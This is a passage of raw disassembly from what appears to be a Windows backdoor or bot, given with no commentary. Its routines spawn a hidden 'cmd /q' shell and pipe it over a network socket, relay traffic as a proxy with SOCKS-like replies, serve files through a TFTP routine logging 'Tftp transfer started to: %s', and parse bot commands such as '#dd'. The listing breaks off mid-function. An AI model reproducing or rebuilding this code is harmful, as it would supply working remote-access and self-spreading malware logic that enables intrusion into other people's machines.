; CODE XREF: sub_410938+BEj cmp [ebp+var_8], 0 jz short loc_410A08 push [ebp+var_8] call edi ; CloseHandle loc_410A08: ; CODE XREF: sub_410938+C9j mov eax, [esi] test eax, eax jz short loc_410A11 push eax call edi ; CloseHandle loc_410A11: ; CODE XREF: sub_410938+D4j mov eax, [esi+4] test eax, eax jz short loc_410A1B push eax call edi ; CloseHandle loc_410A1B: ; CODE XREF: sub_410938+DEj push esi call sub_419940 pop ecx loc_410A22: ; CODE XREF: sub_410938+1Dj xor eax, eax jmp short loc_410A2C ; --------------------------------------------------------------------------- loc_410A26: ; CODE XREF: sub_410938+ADj or dword ptr [esi+0Ch], 0FFFFFFFFh mov eax, esi loc_410A2C: ; CODE XREF: sub_410938+ECj pop edi pop esi pop ebx leave retn sub_410938 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410A31 proc near ; CODE XREF: sub_410938+94p var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_2C = dword ptr -2Ch var_28 = word ptr -28h var_26 = word ptr -26h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 58h push ebx push esi push edi push 44h pop edi xor esi, esi push edi lea eax, [ebp+var_58] push esi push eax mov [ebp+var_4], esi call sub_41B190 push 10h lea eax, [ebp+var_14] push esi push eax call sub_41B190 mov eax, [ebp+arg_0] mov ebx, [ebp+arg_4] add esp, 18h mov [ebp+var_20], eax lea eax, [ebp+var_18] mov [ebp+var_58], edi mov edi, dword_4F13B4 push esi push 1 push 2 push eax mov [ebp+var_54], esi mov [ebp+var_4C], esi mov [ebp+var_50], esi mov [ebp+var_3C], esi mov [ebp+var_40], esi mov [ebp+var_44], esi mov [ebp+var_48], esi mov [ebp+var_28], si mov [ebp+var_24], esi mov [ebp+var_26], si mov [ebp+var_2C], 101h mov [ebp+var_1C], ebx call edi ; GetCurrentProcess push eax push ebx call edi ; GetCurrentProcess push eax call dword_4F13B0 ; DuplicateHandle lea eax, [ebp+var_14] push eax lea eax, [ebp+var_58] push eax push esi push esi push esi push 1 push esi push esi push offset aCmdQ ; "cmd /q" push esi call dword_4F1328 ; CreateProcessA test eax, eax jz short loc_410AED mov eax, [ebp+arg_8] mov ecx, [ebp+var_C] imul eax, 234h push [ebp+var_10] mov esi, [ebp+var_14] mov dword_4537D0[eax], ecx call dword_4F1324 ; CloseHandle jmp short loc_410B03 ; --------------------------------------------------------------------------- loc_410AED: ; CODE XREF: sub_410A31+9Aj call dword_4F1348 ; RtlGetLastWin32Error push eax push offset unk_44C578 call sub_4145FE mov esi, [ebp+var_4] pop ecx pop ecx loc_410B03: ; CODE XREF: sub_410A31+BAj mov eax, esi pop edi pop esi pop ebx leave retn sub_410A31 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410B0A proc near ; DATA XREF: sub_4107E7+3Fo var_1B0 = byte ptr -1B0h var_C8 = byte ptr -0C8h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1B0h push ebx push esi mov ebx, dword_4F13A4 push edi mov edi, [ebp+arg_0] lea eax, [ebp+arg_0] push 0 push eax lea eax, [ebp+var_C8] push 0C8h push eax push dword ptr [edi] loc_410B33: ; CODE XREF: sub_410B0A+8Fj call ebx ; ReadFile test eax, eax jz short loc_410B9B xor eax, eax xor dl, dl xor esi, esi cmp [ebp+arg_0], eax jbe short loc_410B6E loc_410B44: ; CODE XREF: sub_410B0A+62j mov cl, [ebp+esi+var_C8] cmp cl, 0Ah jnz short loc_410B5E cmp dl, 0Dh jz short loc_410B5E mov [ebp+eax+var_1B0], 0Dh inc eax loc_410B5E: ; CODE XREF: sub_410B0A+44j ; sub_410B0A+49j mov [ebp+eax+var_1B0], cl inc eax inc esi mov dl, cl cmp esi, [ebp+arg_0] jb short loc_410B44 loc_410B6E: ; CODE XREF: sub_410B0A+38j push 0 push eax lea eax, [ebp+var_1B0] push eax push dword ptr [edi+0Ch] call dword_4E08EC test eax, eax jle short loc_410B9B lea eax, [ebp+arg_0] push 0 push eax lea eax, [ebp+var_C8] push 0C8h push eax push dword ptr [edi] jmp short loc_410B33 ; --------------------------------------------------------------------------- loc_410B9B: ; CODE XREF: sub_410B0A+2Dj ; sub_410B0A+79j mov esi, dword_4F1348 call esi ; RtlGetLastWin32Error cmp eax, 6Dh jz short loc_410BB7 call esi ; RtlGetLastWin32Error push eax push offset unk_44C5B0 call sub_4145FE pop ecx pop ecx loc_410BB7: ; CODE XREF: sub_410B0A+9Cj pop edi pop esi pop ebx leave retn sub_410B0A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410BBC proc near ; DATA XREF: sub_4107E7+71o var_DC = byte ptr -0DCh var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_7 = byte ptr -7 var_6 = byte ptr -6 var_5 = byte ptr -5 var_4 = byte ptr -4 var_3 = byte ptr -3 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0DCh push ebx push esi xor ebx, ebx push edi mov edi, [ebp+arg_0] xor esi, esi mov [ebp+var_10], ebx mov [ebp+var_C], ebx loc_410BD5: ; CODE XREF: sub_410BBC+39j ; sub_410BBC+D7j ... push ebx lea eax, [ebp+arg_0+3] push 1 push eax push dword ptr [edi+0Ch] call dword_4E08B8 test eax, eax jle loc_410CDA cmp [ebp+var_10], ebx jbe short loc_410BF7 dec [ebp+var_10] jmp short loc_410BD5 ; --------------------------------------------------------------------------- loc_410BF7: ; CODE XREF: sub_410BBC+34j mov al, byte ptr [ebp+arg_0+3] movsx ecx, al cmp ecx, 0FFh jz loc_410CBA cmp al, 8 mov [ebp+var_C], ebx jz short loc_410C67 cmp al, 7Fh jz short loc_410C67 cmp al, 3 jnz short loc_410C22 push ebx push ebx call dword_4F13E8 ; GenerateConsoleCtrlEvent jmp short loc_410C8E ; --------------------------------------------------------------------------- loc_410C22: ; CODE XREF: sub_410BBC+5Aj cmp al, 15h jnz short loc_410C44 xor esi, esi mov [ebp+var_8], 20h mov [ebp+var_7], 58h mov [ebp+var_6], 58h mov [ebp+var_5], 58h mov [ebp+var_4], 0Dh mov [ebp+var_3], 0Ah push 6 jmp short loc_410C7A ; --------------------------------------------------------------------------- loc_410C44: ; CODE XREF: sub_410BBC+68j mov [ebp+esi+var_DC], al inc esi push 1 cmp al, 0Dh mov [ebp+var_8], al pop ecx jnz short loc_410C7B mov [ebp+esi+var_DC], 0Ah mov [ebp+var_7], 0Ah inc esi push 2 jmp short loc_410C7A ; --------------------------------------------------------------------------- loc_410C67: ; CODE XREF: sub_410BBC+52j ; sub_410BBC+56j cmp esi, ebx jbe short loc_410C91 dec esi mov [ebp+var_8], 8 mov [ebp+var_7], 20h mov [ebp+var_6], 8 push 3 loc_410C7A: ; CODE XREF: sub_410BBC+86j ; sub_410BBC+A9j pop ecx loc_410C7B: ; CODE XREF: sub_410BBC+98j push ebx lea eax, [ebp+var_8] push ecx push eax push dword ptr [edi+0Ch] call dword_4E08EC test eax, eax jle short loc_410CDA loc_410C8E: ; CODE XREF: sub_410BBC+64j mov al, byte ptr [ebp+arg_0+3] loc_410C91: ; CODE XREF: sub_410BBC+ADj cmp al, 0Dh jnz loc_410BD5 lea eax, [ebp+var_14] push ebx push eax lea eax, [ebp+var_DC] push esi push eax push dword ptr [edi+4] call dword_4F139C ; WriteFile test eax, eax jz short loc_410CDA xor esi, esi jmp loc_410BD5 ; --------------------------------------------------------------------------- loc_410CBA: ; CODE XREF: sub_410BBC+47j cmp [ebp+var_C], ebx jnz short loc_410CCB mov [ebp+var_C], 1 jmp loc_410BD5 ; --------------------------------------------------------------------------- loc_410CCB: ; CODE XREF: sub_410BBC+101j mov [ebp+var_10], 0Ah mov [ebp+var_C], ebx jmp loc_410BD5 ; --------------------------------------------------------------------------- loc_410CDA: ; CODE XREF: sub_410BBC+2Bj ; sub_410BBC+D0j ... pop edi pop esi pop ebx leave retn sub_410BBC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410CDF proc near ; DATA XREF: sub_401CC1+2762o var_2D4 = byte ptr -2D4h var_D4 = dword ptr -0D4h var_D0 = byte ptr -0D0h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_28 = dword ptr -28h var_24 = byte ptr -24h var_22 = word ptr -22h var_20 = dword ptr -20h var_14 = word ptr -14h var_12 = word ptr -12h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 2D4h mov eax, [ebp+arg_0] push ebx push esi push edi push 10h mov esi, eax pop ebx lea edi, [ebp+var_D4] push 2Ch mov [ebp+var_4], ebx pop ecx rep movsd push 1 xor esi, esi pop edi mov [eax+0A8h], edi push ebx lea eax, [ebp+var_14] push esi push eax call sub_41B190 add esp, 0Ch mov [ebp+var_14], 2 push [ebp+var_40] call dword_4E08A0 push 6 push edi push 2 mov [ebp+var_12], ax mov [ebp+var_10], esi call dword_4E091C mov edi, eax mov eax, [ebp+var_3C] imul eax, 234h push ebx mov dword_4537D4[eax], edi lea eax, [ebp+var_14] push eax push edi call dword_4E08CC test eax, eax jnz loc_410E81 push 0Ah push edi call dword_4E08C8 test eax, eax jnz loc_410E81 push [ebp+var_40] push [ebp+var_D4] call sub_40A019 pop ecx push eax lea eax, [ebp+var_2D4] push offset dword_44C5EC push eax call sub_41B740 add esp, 10h cmp [ebp+var_30], esi jnz short loc_410DBA push esi lea eax, [ebp+var_2D4] push [ebp+var_34] push eax lea eax, [ebp+var_D0] push eax push [ebp+var_D4] call sub_408EB9 add esp, 14h loc_410DBA: ; CODE XREF: sub_410CDF+B9j ; sub_410CDF+172j ... lea eax, [ebp+var_2D4] push eax call sub_41458A pop ecx lea eax, [ebp+var_4] push eax lea eax, [ebp+var_24] push eax push edi call dword_4E0930 push [ebp+var_3C] mov ebx, eax movzx eax, [ebp+var_22] push eax mov [ebp+var_28], esi push [ebp+var_20] call dword_4E0928 push eax lea eax, [ebp+var_2D4] push offset dword_44C614 push eax call sub_41B740 push ebx lea eax, [ebp+var_2D4] push 19h push eax call sub_40A7FD mov [ebp+var_38], eax imul eax, 234h mov ecx, [ebp+var_3C] add esp, 20h mov dword_4537CC[eax], ecx lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_D4] push esi push eax push offset sub_410EE4 push esi push esi call dword_4F1338 ; CreateThread mov ecx, [ebp+var_38] imul ecx, 234h cmp eax, esi mov dword_4537DC[ecx], eax jz short loc_410E61 loc_410E4E: ; CODE XREF: sub_410CDF+180j cmp [ebp+var_28], esi jnz loc_410DBA push 5 call dword_4F1334 ; Sleep jmp short loc_410E4E ; --------------------------------------------------------------------------- loc_410E61: ; CODE XREF: sub_410CDF+16Dj call dword_4F1348 ; RtlGetLastWin32Error push eax lea eax, [ebp+var_2D4] push offset dword_44C658 push eax call sub_41B740 add esp, 0Ch jmp loc_410DBA ; --------------------------------------------------------------------------- loc_410E81: ; CODE XREF: sub_410CDF+7Bj ; sub_410CDF+8Cj push edi call dword_4E0934 push [ebp+var_40] lea eax, [ebp+var_2D4] push offset dword_44C694 push eax call sub_41B740 add esp, 0Ch cmp [ebp+var_30], esi jnz short loc_410EC4 push esi lea eax, [ebp+var_2D4] push [ebp+var_34] push eax lea eax, [ebp+var_D0] push eax push [ebp+var_D4] call sub_408EB9 add esp, 14h loc_410EC4: ; CODE XREF: sub_410CDF+1C3j lea eax, [ebp+var_2D4] push eax call sub_41458A push [ebp+var_3C] call sub_40AB19 pop ecx pop ecx push esi call dword_4F1388 ; ExitThread pop edi pop esi pop ebx sub_410CDF endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_410EE4 proc near ; DATA XREF: sub_410CDF+14Fo var_5D4 = dword ptr -5D4h var_5D0 = dword ptr -5D0h var_4D0 = byte ptr -4D0h var_4CF = byte ptr -4CFh var_4CE = word ptr -4CEh var_4CC = dword ptr -4CCh var_4C8 = byte ptr -4C8h var_C8 = byte ptr -0C8h var_44 = byte ptr -44h var_2C = dword ptr -2Ch var_18 = word ptr -18h var_16 = word ptr -16h var_14 = dword ptr -14h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 5D4h mov eax, [ebp+arg_0] push ebx push esi push edi push 2Ch mov esi, eax pop ecx lea edi, [ebp+var_C8] rep movsd mov esi, [ebp+var_2C] push 1 mov [ebp+arg_0], esi imul esi, 234h pop edi lea esi, dword_4537D4[esi] mov [eax+0ACh], edi xor ebx, ebx mov eax, [esi] mov [ebp+var_8], 5 mov [ebp+var_5D0], eax lea eax, [ebp+var_8] push eax push ebx lea eax, [ebp+var_5D4] push ebx push eax push ebx mov [ebp+var_4], ebx mov [ebp+var_5D4], edi call dword_4E0888 test eax, eax jnz short loc_410F65 push dword ptr [esi] call dword_4E0934 push [ebp+arg_0] call sub_40AB19 pop ecx push ebx call dword_4F1388 ; ExitThread loc_410F65: ; CODE XREF: sub_410EE4+67j push ebx lea eax, [ebp+var_4D0] push 408h push eax push dword ptr [esi] call dword_4E08B8 test eax, eax jg short loc_410F96 push dword ptr [esi] call dword_4E0934 push [ebp+arg_0] call sub_40AB19 pop ecx push ebx call dword_4F1388 ; ExitThread loc_410F96: ; CODE XREF: sub_410EE4+98j cmp [ebp+var_4D0], 4 jnz loc_411190 cmp [ebp+var_4CF], 1 jnz loc_411190 cmp [ebp+var_44], bl jz short loc_41102C lea eax, [ebp+var_44] push eax lea eax, [ebp+var_4C8] push eax call sub_41C4C0 pop ecx test eax, eax pop ecx jz short loc_41102C lea eax, [ebp+var_44] push eax lea eax, [ebp+var_4C8] push eax push offset dword_44C6C8 call sub_4145FE push 400h lea eax, [ebp+var_4C8] push ebx push eax mov [ebp+var_4D0], bl mov [ebp+var_4CF], 5Dh call sub_41B190 add esp, 18h lea eax, [ebp+var_4D0] push ebx push 8 push eax push dword ptr [esi] call dword_4E08EC push dword ptr [esi] call dword_4E0934 push [ebp+arg_0] call sub_40AB19 pop ecx push ebx call dword_4F1388 ; ExitThread loc_41102C: ; CODE XREF: sub_410EE4+CFj ; sub_410EE4+E5j push 10h lea eax, [ebp+var_18] push ebx push eax call sub_41B190 mov ax, [ebp+var_4CE] add esp, 0Ch mov [ebp+var_16], ax mov eax, [ebp+var_4CC] push 6 push edi push 2 mov [ebp+var_18], 2 mov [ebp+var_14], eax call dword_4E091C mov edi, eax cmp edi, 0FFFFFFFFh jnz short loc_4110C4 call dword_4E083C push eax push offset dword_44C708 call sub_4145FE push 400h lea eax, [ebp+var_4C8] push ebx push eax mov [ebp+var_4D0], bl mov [ebp+var_4CF], 5Bh call sub_41B190 add esp, 14h lea eax, [ebp+var_4D0] push ebx push 8 push eax push dword ptr [esi] call dword_4E08EC push dword ptr [esi] call dword_4E0934 push [ebp+arg_0] call sub_40AB19 pop ecx push ebx call dword_4F1388 ; ExitThread loc_4110C4: ; CODE XREF: sub_410EE4+181j lea eax, [ebp+var_18] push 10h push eax push edi call dword_4E084C cmp eax, 0FFFFFFFFh jnz short loc_411133 call dword_4E083C push eax push offset dword_44C748 call sub_4145FE push 400h lea eax, [ebp+var_4C8] push ebx push eax mov [ebp+var_4D0], bl mov [ebp+var_4CF], 5Bh call sub_41B190 add esp, 14h lea eax, [ebp+var_4D0] push ebx push 8 push eax push dword ptr [esi] call dword_4E08EC push dword ptr [esi] call dword_4E0934 push [ebp+arg_0] call sub_40AB19 pop ecx push ebx call dword_4F1388 ; ExitThread loc_411133: ; CODE XREF: sub_410EE4+1F0j push 400h lea eax, [ebp+var_4C8] push ebx push eax mov [ebp+var_4D0], bl mov [ebp+var_4CF], 5Ah call sub_41B190 add esp, 0Ch lea eax, [ebp+var_4D0] push ebx push 8 push eax push dword ptr [esi] call dword_4E08EC push dword ptr [esi] push edi call sub_4111A8 pop ecx pop ecx push edi call dword_4E0934 push dword ptr [esi] call dword_4E0934 push [ebp+arg_0] call sub_40AB19 pop ecx push ebx call dword_4F1388 ; ExitThread loc_411190: ; CODE XREF: sub_410EE4+B9j ; sub_410EE4+C6j push dword ptr [esi] call dword_4E0934 push [ebp+arg_0] call sub_40AB19 pop ecx push ebx call dword_4F1388 ; ExitThread sub_410EE4 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4111A8 proc near ; CODE XREF: sub_410EE4+286p var_504 = byte ptr -504h var_104 = dword ptr -104h var_100 = dword ptr -100h var_FC = dword ptr -0FCh arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 504h push ebx mov ebx, [ebp+arg_4] push esi push edi xor edi, edi mov esi, 400h loc_4111BE: ; CODE XREF: sub_4111A8+C5j ; sub_4111A8+F5j mov [ebp+var_100], ebx mov [ebp+var_104], 1 xor ecx, ecx lea eax, [ebp+var_100] loc_4111D6: ; CODE XREF: sub_4111A8+3Cj mov edx, [ebp+arg_0] cmp [eax], edx jz short loc_4111E6 inc ecx add eax, 4 cmp ecx, 1 jb short loc_4111D6 loc_4111E6: ; CODE XREF: sub_4111A8+33j cmp ecx, 1 jnz short loc_4111FB mov [ebp+var_FC], edx mov [ebp+var_104], 2 loc_4111FB: ; CODE XREF: sub_4111A8+41j push esi lea eax, [ebp+var_504] push edi push eax call sub_41B190 add esp, 0Ch lea eax, [ebp+var_104] push edi push edi push edi push eax push edi call dword_4E0888 lea eax, [ebp+var_104] push eax push ebx call dword_4E079C test eax, eax jz short loc_41125B push edi lea eax, [ebp+var_504] push esi push eax push ebx call dword_4E08B8 cmp eax, 0FFFFFFFFh jz short loc_4112A3 push edi push eax lea eax, [ebp+var_504] push eax push [ebp+arg_0] call dword_4E08EC cmp eax, 0FFFFFFFFh jz short loc_4112A3 loc_41125B: ; CODE XREF: sub_4111A8+85j lea eax, [ebp+var_104] push eax push [ebp+arg_0] call dword_4E079C test eax, eax jz loc_4111BE push edi lea eax, [ebp+var_504] push esi push eax push [ebp+arg_0] call dword_4E08B8 cmp eax, 0FFFFFFFFh jz short loc_4112A3 push edi push eax lea eax, [ebp+var_504] push eax push ebx call dword_4E08EC cmp eax, 0FFFFFFFFh jnz loc_4111BE loc_4112A3: ; CODE XREF: sub_4111A8+9Aj ; sub_4111A8+B1j ... pop edi pop esi pop ebx leave retn sub_4111A8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4112A8 proc near ; CODE XREF: sub_4112A8:loc_411719p ; DATA XREF: sub_401CC1+1C45o ... var_87C = dword ptr -87Ch var_878 = dword ptr -878h var_778 = byte ptr -778h var_578 = byte ptr -578h var_577 = byte ptr -577h var_576 = byte ptr -576h var_575 = byte ptr -575h var_574 = byte ptr -574h var_374 = dword ptr -374h var_370 = byte ptr -370h var_26C = byte ptr -26Ch var_168 = dword ptr -168h var_164 = dword ptr -164h var_160 = dword ptr -160h var_15C = byte ptr -15Ch var_DC = dword ptr -0DCh var_D8 = dword ptr -0D8h var_D0 = byte ptr -0D0h var_CF = byte ptr -0CFh var_CE = byte ptr -0CEh var_CD = byte ptr -0CDh var_50 = byte ptr -50h var_3C = byte ptr -3Ch var_38 = dword ptr -38h var_2C = word ptr -2Ch var_2A = word ptr -2Ah var_28 = dword ptr -28h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 87Ch mov edx, [ebp+arg_0] push ebx push esi push edi push 1 xor ebx, ebx pop eax mov ecx, 0A9h mov esi, edx lea edi, [ebp+var_374] push ebx push 2 rep movsd inc [ebp+var_164] push 2 mov [ebp+var_10], eax mov [ebp+var_14], eax mov [ebp+var_8], eax mov [edx+2A0h], eax call dword_4E091C mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_411348 push 190h call dword_4F1334 ; Sleep cmp [ebp+var_D8], ebx jnz short loc_411328 push ebx lea eax, [ebp+var_778] push [ebp+var_DC] push eax lea eax, [ebp+var_15C] push eax push [ebp+var_374] call sub_408EB9 add esp, 14h loc_411328: ; CODE XREF: sub_4112A8+5Bj lea eax, [ebp+var_778] push eax call sub_41458A push [ebp+var_168] call sub_40AB19 pop ecx pop ecx push ebx call dword_4F1388 ; ExitThread loc_411348: ; CODE XREF: sub_4112A8+48j lea eax, [ebp+var_10] push 4 push eax mov edi, 0FFFFh push 4 push edi push esi call dword_4E0880 lea eax, [ebp+var_14] push 4 push eax push 0FFFFFFFBh push edi push esi call dword_4E0880 mov eax, [ebp+var_168] push 10h imul eax, 234h push ebx mov dword_4537D4[eax], esi lea eax, [ebp+var_2C] push eax call sub_41B190 add esp, 0Ch mov [ebp+var_2C], 2 push [ebp+var_160] call dword_4E08A0 mov [ebp+var_2A], ax lea eax, [ebp+var_2C] push 10h push eax push esi mov [ebp+var_28], ebx call dword_4E08CC cmp eax, 0FFFFFFFFh jnz short loc_4113D2 push 1388h call dword_4F1334 ; Sleep dec [ebp+var_164] push [ebp+arg_0] jmp loc_411719 ; --------------------------------------------------------------------------- loc_4113D2: ; CODE XREF: sub_4112A8+10Fj lea eax, [ebp+var_370] push offset aRb_0 ; "rb" push eax call sub_41B170 pop ecx cmp eax, ebx pop ecx mov [ebp+var_4], eax jnz short loc_411438 push 190h call dword_4F1334 ; Sleep push ebx lea eax, [ebp+var_778] push [ebp+var_DC] push eax lea eax, [ebp+var_15C] push eax push [ebp+var_374] call sub_408EB9 lea eax, [ebp+var_778] push eax call sub_41458A push [ebp+var_168] call sub_40AB19 add esp, 1Ch push ebx call dword_4F1388 ; ExitThread loc_411438: ; CODE XREF: sub_4112A8+142j ; sub_4112A8+42Bj mov edi, [ebp+arg_0] cmp [edi+2A0h], ebx jz loc_4116DC mov edi, 80h lea eax, [ebp+var_D0] push edi push ebx push eax mov [ebp+var_1C], 5 mov [ebp+var_18], 1388h mov [ebp+var_878], esi mov [ebp+var_87C], 1 call sub_41B190 add esp, 0Ch lea eax, [ebp+var_1C] push eax push ebx lea eax, [ebp+var_87C] push ebx push eax push ebx call dword_4E0888 test eax, eax jle loc_4116D0 mov al, byte_4E364C mov ecx, edi mov [ebp+var_578], al xor eax, eax lea edi, [ebp+var_577] mov [ebp+var_C], 10h rep stosd stosw stosb lea eax, [ebp+var_C] push eax lea eax, [ebp+var_3C] push eax push ebx lea eax, [ebp+var_D0] push 80h push eax push esi call dword_4E0878 push [ebp+var_38] mov [ebp+var_8], eax call dword_4E0928 push eax lea eax, [ebp+var_50] push eax call sub_41B740 cmp [ebp+var_D0], bl pop ecx pop ecx jnz loc_4116BA cmp [ebp+var_CF], 1 jnz loc_4115C0 lea eax, [ebp+var_26C] push eax call sub_418D00 push ebx push ebx push [ebp+var_4] call sub_41DCC0 push [ebp+var_4] lea eax, [ebp+var_574] mov [ebp+var_578], bl mov [ebp+var_577], 3 push 200h push 1 push eax mov [ebp+var_576], bl mov [ebp+var_575], 1 call sub_41AE60 add esp, 20h lea ecx, [ebp+var_3C] mov [ebp+var_8], eax add eax, 4 push [ebp+var_C] push ecx push ebx push eax lea eax, [ebp+var_578] push eax push esi call dword_4E0900 lea eax, [ebp+var_50] push eax lea eax, [ebp+var_778] push offset aTftpTransferSt ; "Tftp transfer started to: %s" push eax call sub_41B740 add esp, 0Ch cmp [ebp+var_D8], ebx jnz short loc_4115AE push ebx lea eax, [ebp+var_778] push [ebp+var_DC] push eax lea eax, [ebp+var_15C] push eax push [ebp+var_374] call sub_408EB9 add esp, 14h loc_4115AE: ; CODE XREF: sub_4112A8+2E1j lea eax, [ebp+var_778] push eax call sub_41458A pop ecx jmp loc_4116D0 ; --------------------------------------------------------------------------- loc_4115C0: ; CODE XREF: sub_4112A8+257j cmp [ebp+var_CF], 4 jnz loc_4116BA mov cl, [ebp+var_CD] mov al, [ebp+var_CE] cmp cl, 0FFh mov [ebp+var_578], bl mov [ebp+var_577], 3 jnz short loc_4115FD inc al xor cl, cl mov [ebp+var_576], al mov [ebp+var_575], bl jmp short loc_41160B ; --------------------------------------------------------------------------- loc_4115FD: ; CODE XREF: sub_4112A8+341j inc cl mov [ebp+var_576], al mov [ebp+var_575], cl loc_41160B: ; CODE XREF: sub_4112A8+353j movzx eax, al movzx ecx, cl shl eax, 8 add eax, ecx mov edi, 200h shl eax, 9 sub eax, edi push ebx push eax push [ebp+var_4] call sub_41DCC0 push [ebp+var_4] lea eax, [ebp+var_574] push edi push 1 push eax call sub_41AE60 add esp, 1Ch mov edi, eax lea eax, [ebp+var_3C] mov [ebp+var_8], edi push [ebp+var_C] push eax lea eax, [edi+4] push ebx push eax lea eax, [ebp+var_578] push eax push esi call dword_4E0900 cmp edi, ebx jnz short loc_4116D0 lea eax, [ebp+var_50] push eax lea eax, [ebp+var_778] push offset aTftpTransferCo ; "Tftp transfer complete to: %s" push eax call sub_41B740 add esp, 0Ch cmp [ebp+var_D8], ebx jnz short loc_4116A5 push ebx lea eax, [ebp+var_778] push [ebp+var_DC] push eax lea eax, [ebp+var_15C] push eax push [ebp+var_374] call sub_408EB9 add esp, 14h loc_4116A5: ; CODE XREF: sub_4112A8+3D8j lea eax, [ebp+var_778] push eax call sub_41458A inc dword_4E33BC pop ecx jmp short loc_4116D0 ; --------------------------------------------------------------------------- loc_4116BA: ; CODE XREF: sub_4112A8+24Aj ; sub_4112A8+31Fj push [ebp+var_C] lea eax, [ebp+var_3C] push eax push ebx push 9 push offset dword_44C7D8 push esi call dword_4E0900 loc_4116D0: ; CODE XREF: sub_4112A8+1E9j ; sub_4112A8+313j ... cmp [ebp+var_8], ebx jg loc_411438 mov edi, [ebp+arg_0] loc_4116DC: ; CODE XREF: sub_4112A8+199j push esi call dword_4E0934 push [ebp+var_4] call sub_418D80 dec [ebp+var_164] cmp [edi+2A0h], ebx pop ecx jnz short loc_41170D push [ebp+var_168] call sub_40AB19 pop ecx push ebx call dword_4F1388 ; ExitThread loc_41170D: ; CODE XREF: sub_4112A8+450j push 3E8h call dword_4F1334 ; Sleep push edi loc_411719: ; CODE XREF: sub_4112A8+125j call sub_4112A8 pop edi pop esi pop ebx leave retn 4 sub_4112A8 endp ; =============== S U B R O U T I N E ======================================= sub_411725 proc near ; CODE XREF: sub_411A34+213p ; sub_411A34+239p arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov dword_4E3650, eax mov eax, offset dword_4E3650 retn sub_411725 endp ; =============== S U B R O U T I N E ======================================= sub_411734 proc near ; CODE XREF: sub_411A34+2BFp arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push offset dword_44C7E4 push esi call sub_41B890 pop ecx test eax, eax pop ecx jz short loc_41174E loc_41174A: ; CODE XREF: sub_411734+29j ; sub_411734+3Aj ... xor al, al pop esi retn ; --------------------------------------------------------------------------- loc_41174E: ; CODE XREF: sub_411734+14j push offset aDd ; "#dd" push esi call sub_41B890 pop ecx test eax, eax pop ecx jnz short loc_41174A push offset dword_44C7F0 push esi call sub_41B890 pop ecx test eax, eax pop ecx jnz short loc_41174A push offset dword_44C7FC push esi call sub_41B890 pop ecx test eax, eax pop ecx jnz short loc_41174A push offset dword_44C808 push esi call sub_41B890 pop ecx test eax, eax pop ecx jz short loc_411796 loc_411792: ; CODE XREF: sub_411734+71j ; sub_411734+82j ... mov al, 1 pop esi retn ; --------------------------------------------------------------------------- loc_411796: ; CODE XREF: sub_411734+5Cj push offset dword_44C810 push esi call sub_41B890 pop ecx test eax, eax pop ecx jnz short loc_411792 push offset dword_44C818 push esi call sub_41B890 pop ecx test eax, eax pop ecx jnz short loc_411792 push offset dword_44C820 push esi call sub_41B890 pop ecx test eax, eax pop ecx jnz short loc_411792 push offset dword_44C828 push esi call sub_41B890 pop ecx test eax, eax pop ecx jnz short loc_411792 push offset dword_44C830 push esi call sub_41B890 pop ecx test eax, eax pop ecx jnz short loc_411792 push offset dword_44C838 push esi call sub_41B890 pop ecx test eax, eax pop ecx jnz short loc_411792 push offset dword_44C840 push esi call sub_41B890 pop ecx test eax, eax pop ecx jnz short loc_411792 push offset dword_44C848 push esi call sub_41B890 pop ecx test eax, eax pop ecx jnz loc_411792 push offset dword_44C850 push esi call sub_41B890 pop ecx test eax, eax pop ecx jnz loc_411792 push offset dword_44C85C push esi call sub_41B890 pop ecx test eax, eax pop ecx pop esi setnz al retn sub_411734 endp ; =============== S U B R O U T I N E ======================================= sub_41184B proc near ; CODE XREF: sub_411A34+2F8p arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push offset dword_44C868 push esi call sub_41B890 pop ecx test eax, eax pop ecx jz short loc_411865 loc_411861: ; CODE XREF: sub_41184B+29j xor al, al pop esi retn ; --------------------------------------------------------------------------- loc_411865: ; CODE XREF: sub_41184B+14j push offset aDd ; "#dd" push esi call sub_41B890 pop ecx test eax, eax pop ecx jnz short loc_411861 push offset dword_44C874 push esi call sub_41B890 pop ecx test eax, eax pop ecx jz short loc_41188B loc_411887: ; CODE XREF: sub_41184B+4Fj ; sub_41184B+60j mov al, 1 pop esi retn ; --------------------------------------------------------------------------- loc_41188B: ; CODE XREF: sub_41184B+3Aj push offset dword_44C87C push esi call sub_41B890 pop ecx test eax, eax pop 